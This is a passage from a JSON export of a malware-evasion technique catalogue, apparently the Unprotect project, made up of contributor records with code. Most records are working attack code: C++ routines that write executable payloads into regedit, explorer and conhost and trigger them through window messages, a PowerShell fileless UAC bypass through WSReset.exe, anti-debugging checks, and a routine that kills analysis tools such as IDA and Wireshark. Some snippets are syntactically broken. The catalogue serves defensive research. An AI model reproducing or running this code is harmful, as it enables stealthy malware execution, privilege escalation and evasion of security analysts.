SetProp(hw, L\"ClipboardDataObjectInterface\", ds);\r\n    PostMessage(hw, WM_DESTROYCLIPBOARD, 0, 0);\r\n    \r\n    // 5. Release memory for code and data\r\n    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);\r\n    VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);\r\n    CloseHandle(hp);\r\n}"
        },
        {
            "id": 45,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 9,
                "username": "Glacius",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/Glacius___",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/154/?format=api",
            "description": "",
            "plain_code": "VOID treepoline(LPVOID payload, DWORD payloadSize) {\r\n    HANDLE        hp;\r\n    DWORD         id;\r\n    HWND          wpw, tlv;\r\n    LPVOID        cs, ds, item;\r\n    SIZE_T        rd, wr;\r\n    TVSORTCB      tvs;\r\n    \r\n    // 1. get the treeview handle\r\n    wpw = FindWindow(L\"RegEdit_RegEdit\", NULL);\r\n    tlv = FindWindowEx(wpw, 0, L\"SysTreeView32\", 0);\r\n    \r\n    // 2. Obtain the process id and try to open process\r\n    GetWindowThreadProcessId(tlv, &id);\r\n    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);\r\n\r\n    // 3. Allocate RWX memory and copy the payload there.\r\n    cs = VirtualAllocEx(hp, NULL, payloadSize,\r\n        MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);\r\n        \r\n    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);\r\n    \r\n    // 4. Obtain the root item in tree list\r\n    item = (LPVOID)SendMessage(tlv, TVM_GETNEXTITEM, TVGN_ROOT, 0);\r\n\r\n    tvs.hParent     = item;\r\n    tvs.lpfnCompare = cs;\r\n    tvs.lParam      = 0;\r\n    \r\n    // 5. Allocate RW memory and copy the TVSORTCB structure\r\n    ds = VirtualAllocEx(hp, NULL, sizeof(TVSORTCB),\r\n        MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);\r\n        \r\n    WriteProcessMemory(hp, ds, &tvs, sizeof(TVSORTCB), &wr);\r\n    \r\n    // 6. Trigger payload\r\n    SendMessage(tlv, TVM_SORTCHILDRENCB, 0, (LPARAM)ds);\r\n\r\n    // 7. Free memory and close process handle\r\n    VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);\r\n    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);\r\n    \r\n    CloseHandle(hp);\r\n}"
        },
        {
            "id": 46,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 6,
                "username": "Unprotect",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/hashtag/unprotectproject",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/155/?format=api",
            "description": "The following code uses the registry editor and LVM_SORTITEMS to trigger the payload. The problem is that the callback function will be invoked for every item in the list. If no items are in the list, the function isn’t invoked at all.",
            "plain_code": "VOID listplanting(LPVOID payload, DWORD payloadSize) {\r\n    HANDLE        hp;\r\n    DWORD         id;\r\n    HWND          lvm;\r\n    LPVOID        cs;\r\n    SIZE_T        wr;\r\n    \r\n    // 1. get the window handle\r\n    lvm = FindWindow(L\"RegEdit_RegEdit\", NULL);\r\n    lvm = FindWindowEx(lvm, 0, L\"SysListView32\", 0);\r\n   \r\n    // 2. Obtain the process id and try to open process\r\n    GetWindowThreadProcessId(lvm, &id);\r\n    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);\r\n\r\n    // 3. Allocate RWX memory and copy the payload there.\r\n    cs = VirtualAllocEx(hp, NULL, payloadSize,\r\n        MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);\r\n\r\n    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);\r\n    \r\n    // 4. Trigger payload\r\n    PostMessage(lvm, LVM_SORTITEMS, 0, (LPARAM)cs);\r\n    \r\n    // 5. Free memory and close process handle\r\n    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);\r\n    CloseHandle(hp);\r\n}"
        },
        {
            "id": 47,
            "language": {
                "id": 1,
                "label": "Delphi",
                "code_class": "Delphi"
            },
            "user": {
                "id": 4,
                "username": "DarkCoderSc",
                "email": "jplesueur@proton.me",
                "linkedin": "https://www.linkedin.com/in/jlesueur/",
                "twitter": "https://www.twitter.com/darkcodersc",
                "website": "https://www.phrozen.io/",
                "github": "https://github.com/DarkCoderSc"
            },
            "technique": "https://unprotect.it/api/techniques/56/?format=api",
            "description": "Support both 32/64 bit.",
            "plain_code": "program NtQueryObject;\r\n\r\n{$APPTYPE CONSOLE}\r\n\r\n{$ALIGN ON}\r\n{$MINENUMSIZE 4}\r\n\r\nuses\r\n  WinAPI.Windows, System.SysUtils;\r\n\r\ntype\r\n  TUnicodeString = record\r\n    Length: USHORT;\r\n    MaximumLength: USHORT;\r\n    Buffer: PWideChar;\r\n  end;\r\n\r\n  TObjectInformationClass = (\r\n                                    ObjectBasicInformation    = 0,\r\n                                    ObjectNameInformation     = 1,\r\n                                    ObjectTypeInformation     = 2,\r\n                                    ObjectAllTypesInformation = 3,\r\n                                    ObjectHandleInformation   = 4\r\n  );\r\n\r\n  OBJECT_TYPE_INFORMATION = record\r\n    Name: TUnicodeString;\r\n    ObjectCount: ULONG;\r\n    HandleCount: ULONG;\r\n    Reserved1: array[0..3] of ULONG;\r\n    PeakObjectCount: ULONG;\r\n    PeakHandleCount: ULONG;\r\n    Reserved2: array[0..3] of ULONG;\r\n    InvalidAttributes: ULONG;\r\n    GenericMapping: GENERIC_MAPPING;\r\n    ValidAccess: ULONG;\r\n    Unknown: UCHAR;\r\n    MaintainHandleDatabase: ByteBool;\r\n    Reserved3: array[0..1] of UCHAR;\r\n    PoolType: Byte;\r\n    PagedPoolUsage: ULONG;\r\n    NonPagedPoolUsage: ULONG;\r\n  end;\r\n  POBJECT_TYPE_INFORMATION = ^OBJECT_TYPE_INFORMATION;\r\n  TObjectTypeInformation = OBJECT_TYPE_INFORMATION;\r\n  PObjectTypeInformation = ^TObjectTypeInformation;\r\n\r\n  OBJECT_ALL_TYPE_INFORMATION = record\r\n    NumberOfObjectTypes : ULONG;\r\n    ObjectTypeInformation : array[0..0] of TObjectTypeInformation;\r\n  end;\r\n  POBJECT_ALL_TYPE_INFORMATION = ^OBJECT_ALL_TYPE_INFORMATION;\r\n  TObjectAllTypeInformation = OBJECT_ALL_TYPE_INFORMATION;\r\n  PObjectAllTypeInformation = ^TObjectAllTypeInformation;\r\n\r\n// https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntqueryobject\r\nvar\r\n  _NtQueryObject : function (\r\n                                ObjectHandle : THandle;\r\n                                ObjectInformationClass : TObjectInformationClass;\r\n                                ObjectInformation : PVOID;\r\n                                ObjectInformationLength : ULONG;\r\n                                ReturnLength : PULONG\r\n                              ): ULONG; stdcall;\r\nvar hNTDLL              : THandle;\r\n    ARet                : ULONG;\r\n    ARequiredSize       : ULONG;\r\n    pAllTypeInformation : PObjectAllTypeInformation;\r\n    pTypeInformation    : PObjectTypeInformation;\r\n    i                   : Integer;\r\n    pRow                : PObjectTypeInformation;\r\n    pDummy              : Pointer;\r\n    ADebuggerFound      : Boolean;\r\n\r\nbegin\r\n  try\r\n    ADebuggerFound := False;\r\n\r\n    @_NtQueryObject := nil;\r\n    ///\r\n\r\n    hNTDLL := LoadLibrary('NTDLL.DLL');\r\n    if (hNTDLL = 0) then\r\n      Exit();\r\n    try\r\n      @_NtQueryObject := GetProcAddress(hNTDLL, 'NtQueryObject');\r\n      if NOT Assigned(_NtQueryObject) then\r\n        Exit();\r\n      ///\r\n\r\n      ARet := _NtQueryObject(0, ObjectAllTypesInformation, @ARequiredSize, SizeOf(ULONG), @ARequiredSize);\r\n      if (ARequiredSize <= 0) then\r\n        Exit();\r\n      ///\r\n\r\n      GetMem(pAllTypeInformation, ARequiredSize);\r\n      try\r\n        ARet := _NtQueryObject(0, ObjectAllTypesInformation, pAllTypeInformation, ARequiredSize, nil);\r\n        if (ARet <> 0) then\r\n          Exit();\r\n        ///\r\n\r\n        pRow := @pAllTypeInformation^.ObjectTypeInformation;\r\n\r\n        for I := 0 to pAllTypeInformation^.NumberOfObjectTypes -1 do begin\r\n            if String.Compare(String(pRow^.Name.Buffer), 'DebugObject', True) = 0 then\r\n              ADebuggerFound := (pRow^.ObjectCount > 0);\r\n            ///\r\n\r\n            if ADebuggerFound then\r\n              break;\r\n\r\n            pRow := Pointer (\r\n              (NativeUInt(pRow^.Name.Buffer) + pRow^.Name.Length) and (NOT (SizeOf(Pointer)-1)) + SizeOf(Pointer)\r\n            );\r\n        end;\r\n      finally\r\n        FreeMem(pAllTypeInformation, ARequiredSize);\r\n      end;\r\n    finally\r\n      FreeLibrary(hNTDLL);\r\n    end;\r\n\r\n    if ADebuggerFound then\r\n      WriteLn('A Debugger Was Found!')\r\n    else\r\n      WriteLn('No Debugger Found!');\r\n  except\r\n    on E: Exception do\r\n      Writeln(E.ClassName, ': ', E.Message);\r\n  end;\r\nend."
        },
        {
            "id": 42,
            "language": {
                "id": 8,
                "label": "PowerShell",
                "code_class": "powershell"
            },
            "user": {
                "id": 9,
                "username": "Glacius",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/Glacius___",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/152/?format=api",
            "description": "",
            "plain_code": "<#\r\n.SYNOPSIS\r\nFileless UAC Bypass by Abusing Shell API\r\n.PARAMETER Command\r\nSpecifies the command you would like to run in high integrity context.\r\n \r\n.EXAMPLE\r\nInvoke-WSResetBypass -Command \"C:\\Windows\\System32\\cmd.exe /c start cmd.exe\"\r\nThis will effectivly start cmd.exe in high integrity context.\r\n.NOTES\r\nThis UAC bypass has been tested on the following:\r\n - Windows 10 Version 1803 OS Build 17134.590\r\n - Windows 10 Version 1809 OS Build 17763.316\r\n#>\r\nfunction Invoke-WSResetBypass {\r\n      Param (\r\n      [String]$Command = \"C:\\Windows\\System32\\cmd.exe /c start cmd.exe\"\r\n      )\r\n      $CommandPath = \"HKCU:\\Software\\Classes\\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\\Shell\\open\\command\"\r\n      $filePath = \"HKCU:\\Software\\Classes\\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\\Shell\\open\\command\"\r\n      New-Item $CommandPath -Force | Out-Null\r\n      New-ItemProperty -Path $CommandPath -Name \"DelegateExecute\" -Value \"\" -Force | Out-Null\r\n      Set-ItemProperty -Path $CommandPath -Name \"(default)\" -Value $Command -Force -ErrorAction SilentlyContinue | Out-Null\r\n      Write-Host \"[+] Registry entry has been created successfully!\"\r\n      $Process = Start-Process -FilePath \"C:\\Windows\\System32\\WSReset.exe\" -WindowStyle Hidden\r\n      Write-Host \"[+] Starting WSReset.exe\"\r\n      Write-Host \"[+] Triggering payload..\"\r\n      Start-Sleep -Seconds 5\r\n      if (Test-Path $filePath) {\r\n      Remove-Item $filePath -Recurse -Force\r\n      Write-Host \"[+] Cleaning up registry entry\"\r\n      }\r\n}"
        },
        {
            "id": 43,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 9,
                "username": "Glacius",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/Glacius___",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/115/?format=api",
            "description": "",
            "plain_code": "LRESULT CALLBACK WndProc(HWND hWnd, UINT uMsg,\r\n    WPARAM wParam, LPARAM lParam)\r\n{\r\n    // igone messages other than WM_CLOSE\r\n    if (uMsg != VM_CLOSE) return 0;\r\n    WinExec_t pWinExec;\r\n    DWORD   szWinExec[2];\r\n            szCalc[2];\r\n    \r\n    // WinExec \r\n    szWinExec[0]=0x456E6957\r\n    szWinExec[1]=0x00636578\r\n    // calc \r\n    szCalc[0]=0x636X6163\r\n    szCalc[1]=0;\r\n    pWinExec = (WinExec_t)xGetProcAddress(szWinExec);\r\n    if(pWinExec != NULL) {\r\n        pWinExec((LPSTR)szCalc, SH_SHOW);\r\n    }\r\n    return 0;\r\n} \r\nFull Function :\r\nLPVOID ewm(LPVOID payload, DWORD payloadSize){\r\n    LPVOID    cs, ds;\r\n    CTray     ct;\r\n    ULONG_PTR ctp;\r\n    HWND      hw;\r\n    HANDLE    hp;\r\n    DWORD     pid;\r\n    SIZE_T    wr;\r\n    \r\n    // 1. Obtain a handle for the shell tray window\r\n    hw = FindWindow(\"Shell_TrayWnd\", NULL);\r\n    // 2. Obtain a process id for explorer.exe\r\n    GetWindowThreadProcessId(hw, &pid);\r\n    \r\n    // 3. Open explorer.exe\r\n    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);\r\n    \r\n    // 4. Obtain pointer to the current CTray object\r\n    ctp = GetWindowLongPtr(hw, 0);\r\n    \r\n    // 5. Read address of the current CTray object\r\n    ReadProcessMemory(hp, (LPVOID)ctp, \r\n        (LPVOID)&ct.vTable, sizeof(ULONG_PTR), &wr);\r\n    \r\n    // 6. Read three addresses from the virtual table\r\n    ReadProcessMemory(hp, (LPVOID)ct.vTable, \r\n      (LPVOID)&ct.AddRef, sizeof(ULONG_PTR) * 3, &wr);\r\n    \r\n    // 7. Allocate RWX memory for code\r\n    cs = VirtualAllocEx(hp, NULL, payloadSize, \r\n      MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);\r\n    \r\n    // 8. Copy the code to target process\r\n    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);\r\n    \r\n    // 9. Allocate RW memory for the new CTray object\r\n    ds = VirtualAllocEx(hp, NULL, sizeof(ct), \r\n      MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);\r\n    \r\n    // 10. Write the new CTray object to remote memory\r\n    ct.vTable  = (ULONG_PTR)ds + sizeof(ULONG_PTR);\r\n    ct.WndProc = (ULONG_PTR)cs;\r\n    \r\n    WriteProcessMemory(hp, ds, &ct, sizeof(ct), &wr); \r\n    // 11. Set the new pointer to CTray object\r\n    SetWindowLongPtr(hw, 0, (ULONG_PTR)ds);\r\n    \r\n    // 12. Trigger the payload via a windows message\r\n    PostMessage(hw, WM_CLOSE, 0, 0);\r\n    \r\n    // 13. Restore the original CTray object\r\n    SetWindowLongPtr(hw, 0, ctp);\r\n    // 14. Release memory and close handles\r\n    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);\r\n    VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);\r\n    CloseHandle(hp);\r\n}"
        },
        {
            "id": 44,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 9,
                "username": "Glacius",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/Glacius___",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/153/?format=api",
            "description": "",
            "plain_code": "VOID conhostInject(LPVOID payload, DWORD payloadSize) {\r\n    HWND          hwnd;\r\n    LONG_PTR      udptr;\r\n    DWORD         pid, ppid;\r\n    SIZE_T        wr;\r\n    HANDLE        hp;\r\n    ConsoleWindow cw;\r\n    LPVOID        cs, ds;\r\n    ULONG_PTR     vTable;\r\n    \r\n    // 1. Obtain handle and process id for a console window \r\n    //   (this assumes one already running)\r\n    hwnd = FindWindow(L\"ConsoleWindowClass\", NULL);\r\n    \r\n    GetWindowThreadProcessId(hwnd, &ppid);\r\n    // 2. Obtain the process id for the host process \r\n    pid = conhostId(ppid);\r\n    \r\n    // 3. Open the conhost.exe process\r\n    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);\r\n    // 4. Allocate RWX memory and copy the payload there\r\n    cs = VirtualAllocEx(hp, NULL, payloadSize, \r\n      MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);\r\n    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);\r\n    \r\n    // 5. Read the address of current virtual table\r\n    udptr = GetWindowLongPtr(hwnd, GWLP_USERDATA);\r\n    ReadProcessMemory(hp, (LPVOID)udptr, \r\n        (LPVOID)&vTable, sizeof(ULONG_PTR), &wr);\r\n    \r\n    // 6. Read the current virtual table into local memory\r\n    ReadProcessMemory(hp, (LPVOID)vTable, \r\n      (LPVOID)&cw, sizeof(ConsoleWindow), &wr);\r\n      \r\n    // 7. Allocate RW memory for the new virtual table\r\n    ds = VirtualAllocEx(hp, NULL, sizeof(ConsoleWindow), \r\n      MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);\r\n    // 8. update the local copy of virtual table with \r\n    //    address of payload and write to remote process\r\n    cw.GetWindowHandle = (ULONG_PTR)cs;\r\n    WriteProcessMemory(hp, ds, &cw, sizeof(ConsoleWindow), &wr); \r\n    // 9. Update pointer to virtual table in remote process\r\n    WriteProcessMemory(hp, (LPVOID)udptr, &ds, \r\n      sizeof(ULONG_PTR), &wr); \r\n    // 10. Trigger execution of the payload\r\n    SendMessage(hwnd, WM_SETFOCUS, 0, 0);\r\n    // 11. Restore pointer to original virtual table\r\n    WriteProcessMemory(hp, (LPVOID)udptr, &vTable, \r\n      sizeof(ULONG_PTR), &wr);\r\n    \r\n    // 12. Release memory and close handles\r\n    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);\r\n    VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);\r\n    \r\n    CloseHandle(hp);"
        },
        {
            "id": 41,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 6,
                "username": "Unprotect",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/hashtag/unprotectproject",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/32/?format=api",
            "description": "This code snippet will browse the registry to check installed software.",
            "plain_code": "#include <iostream>\r\n#include <windows.h>\r\n\r\nbool EnumInstalledSoftware(void)\r\n{\r\n    HKEY hUninstKey = NULL;\r\n    HKEY hAppKey = NULL;\r\n    WCHAR sAppKeyName[1024];\r\n    WCHAR sSubKey[1024];\r\n    WCHAR sDisplayName[1024];\r\n    WCHAR *sRoot = L\"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall\";\r\n    long lResult = ERROR_SUCCESS;\r\n    DWORD dwType = KEY_ALL_ACCESS;\r\n    DWORD dwBufferSize = 0;\r\n\r\n    if(RegOpenKeyExW(HKEY_LOCAL_MACHINE, sRoot, 0, KEY_READ, &hUninstKey) != ERROR_SUCCESS)\r\n    {\r\n        return false;\r\n    }\r\n\r\n    for(DWORD dwIndex = 0; lResult == ERROR_SUCCESS; dwIndex++)\r\n    {\r\n        dwBufferSize = sizeof(sAppKeyName);\r\n        if((lResult = RegEnumKeyExW(hUninstKey, dwIndex, sAppKeyName,\r\n            &dwBufferSize, NULL, NULL, NULL, NULL)) == ERROR_SUCCESS)\r\n        {\r\n            //printf(sSubKey, L\"%s\\\\%s\", sRoot, sAppKeyName);\r\n            if(RegOpenKeyExW(HKEY_LOCAL_MACHINE, sSubKey, 0, KEY_READ, &hAppKey) != ERROR_SUCCESS)\r\n            {\r\n                RegCloseKey(hAppKey);\r\n                RegCloseKey(hUninstKey);\r\n                return false;\r\n            }\r\n\r\n            dwBufferSize = sizeof(sDisplayName);\r\n            if(RegQueryValueExW(hAppKey, L\"DisplayName\", NULL,\r\n                &dwType, (unsigned char*)sDisplayName, &dwBufferSize) == ERROR_SUCCESS)\r\n            {\r\n                wprintf(L\"%s\\n\", sDisplayName);\r\n            }\r\n\r\n            RegCloseKey(hAppKey);\r\n        }\r\n    }\r\n\r\n    RegCloseKey(hUninstKey);\r\n\r\n    return true;\r\n}"
        },
        {
            "id": 39,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 5,
                "username": "fr0gger",
                "email": "thomas.roccia@securitybreak.io",
                "linkedin": "https://www.linkedin.com/in/thomas-roccia",
                "twitter": "https://twitter.com/fr0gger_",
                "website": "https://securitybreak.io",
                "github": "https://github.com/fr0gger"
            },
            "technique": "https://unprotect.it/api/techniques/131/?format=api",
            "description": "Using the `CreateToolhelp32Snapshot` API, it is possible to list the running process and compare it with a blacklist to kill them.",
            "plain_code": "#include <iostream>\r\n#include <string>\r\n#include <tchar.h>\r\n#include <process.h>\r\n#include <windows.h>\r\n#include <tlhelp32.h>\r\n\r\nusing namespace std;\r\n\r\nBOOL GetProcessList();\r\nBOOL TerminateMyProcess(DWORD dwProcessId, UINT uExitCode);\r\n\r\nint main( void )\r\n{\r\n  GetProcessList( );\r\n  return 0;\r\n}\r\n\r\nBOOL GetProcessList( )\r\n{\r\n  HANDLE hProcessSnap;\r\n  HANDLE hProcess;\r\n  PROCESSENTRY32 pe32;\r\n  DWORD dwPriorityClass;\r\n\r\n  //Blacklisted processes\r\n  LPSTR ProcessName[] = { \"ida.Exe\",\r\n                          \"ProcMon.exe\",\r\n                          \"Olldbg.exe\",\r\n                          \"Wireshark.exe\",\r\n                          \"iexplore.exe\"\r\n                            };\r\n\r\n  // Take a snapshot of processes\r\n  hProcessSnap = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );\r\n  if( hProcessSnap == INVALID_HANDLE_VALUE )\r\n  {\r\n    return( FALSE );\r\n  }\r\n\r\n  pe32.dwSize = sizeof( PROCESSENTRY32 );\r\n\r\n  if( !Process32First( hProcessSnap, &pe32 ) )\r\n  {\r\n    CloseHandle( hProcessSnap );\r\n    return( FALSE );\r\n  }\r\n\r\n  do\r\n  {\r\n    string str(pe32.szExeFile);\r\n\r\n    for (int i = 0; i < (sizeof(ProcessName) / sizeof(LPSTR)); i++)\r\n    {\r\n         if(str == ProcessName[i])\r\n         {\r\n             cout << \"[*] processus exists: \" << (ProcessName[i]) << endl;\r\n             TerminateBlacklistedProcess(pe32.th32ProcessID, 1);\r\n         }\r\n    }\r\n  } while( Process32Next( hProcessSnap, &pe32 ) );\r\n\r\n  CloseHandle( hProcessSnap );\r\n  return( TRUE );\r\n}\r\n\r\n// Terminate the blacklisted processes\r\nBOOL TerminateBlacklistedProcess(DWORD dwProcessId, UINT uExitCode)\r\n{\r\n    DWORD dwDesiredAccess = PROCESS_TERMINATE;\r\n    BOOL  bInheritHandle  = FALSE;\r\n    HANDLE hProcess = OpenProcess(dwDesiredAccess, bInheritHandle, dwProcessId);\r\n    if (hProcess == NULL)\r\n        return FALSE;\r\n\r\n    BOOL result = TerminateProcess(hProcess, uExitCode);\r\n\r\n    CloseHandle(hProcess);\r\n\r\n    return result;\r\n}"
        },
        {
            "id": 40,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 11,
                "username": "d4rksystem",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/d4rksystem",
                "website": "https://securityliterate.com/",
                "github": "https://github.com/d4rksystem"
            },
            "technique": "https://unprotect.it/api/techniques/151/?format=api",
            "description": "This technique is using the API `GetForegroundWindow`.",
            "plain_code": "#include <winuser.h> // Required import for GetForegroundWindow API\r\n \r\nint main()\r\n{\r\n \r\n    //Get a handle to user's current foreground window.\r\n    int foregroundWindowHandle1 = GetForegroundWindow(); \r\n \r\n    do {\r\n \r\n        //Sleep for .1 second.\r\n        Sleep(100); \r\n \r\n        //Get a handle to user's current foreground window again.\r\n        int foregroundWindowHandle2 = GetForegroundWindow(); \r\n \r\n        }\r\n \r\n    //While the handles to the current foreground windows are equal, continue to loop.\r\n    while (foregroundWindowHandle1 == foregroundWindowHandle2);\r\n \r\n    return 0;\r\n};"
        }
    ]
}